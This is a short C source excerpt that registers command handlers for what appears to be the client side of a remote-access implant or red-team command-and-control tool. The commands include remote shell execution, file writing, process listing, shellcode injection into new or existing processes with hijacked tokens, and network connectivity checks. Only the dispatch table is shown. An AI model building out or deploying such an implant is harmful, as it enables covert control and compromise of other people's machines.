in client.c [252:311]
void cl_initialize_handlers(void)
{
handlers[TERMINATE_PROCESS] = cl_terminate_process;
handlers[RUN_SHELL_COMMAND] = cl_run_shell_command;
handlers[LIST_WORKING_DIRECTORY_FILES] = cl_list_working_directory_files;
handlers[WRITE_FILE] = cl_write_file;
handlers[GET_WORKING_DIRECTORY] = cl_get_working_directory;
handlers[CHANGE_WORKING_DIRECTORY] = cl_change_working_directory;
handlers[LIST_RUNNING_PROCESSES] = cl_list_running_processes;
handlers[CREATE_RANDOM_PROCESS_IO_REDIRECT_INJECT_SHELLCODE_32BITS] =
cl_create_random_process_io_redirect_inject_shellcode_32;
handlers[CREATE_RANDOM_PROCESS_IO_REDIRECT_INJECT_SHELLCODE_64BITS] =
cl_create_random_process_io_redirect_inject_shellcode_64;
handlers
[CREATE_RANDOM_PROCESS_WITH_HIJACKED_TOKEN_AND_INJECT_SHELLCODE_32BITS] =
cl_create_random_process_inject_shellcode_32;
handlers
[CREATE_RANDOM_PROCESS_WITH_HIJACKED_TOKEN_AND_INJECT_SHELLCODE_64BITS] =
cl_create_random_process_inject_shellcode_64;
handlers[OPEN_PROCESS_AND_INJECT_SHELLCODE_32BITS] =
cl_open_process_inject_shellcode_32;
handlers[OPEN_PROCESS_AND_INJECT_SHELLCODE_64BITS] =
cl_open_process_inject_shellcode_64;
handlers[HTTP_CONNECTIVITY_CHECK] = cl_http_connectivity_check;
handlers[DNS_CONNECTIVITY_CHECK_WITH_IP] = cl_dns_connectivity_check_with_ip;
handlers[ICMP_CONNECTIVITY_CHECK] = cl_icmp_connectivity_check;
handlers[TCP_CONNECTIVITY_CHECK] = cl_tcp_connectivity_check;
handlers[DNS_CONNECTIVITY_CHECK_WITHOUT_IP] =
cl_dns_connectivity_check_without_ip;
handlers[DISCONNECT] = cl_disconnect;
handlers[TERMINATE_SERVER] = cl_terminate_server;
}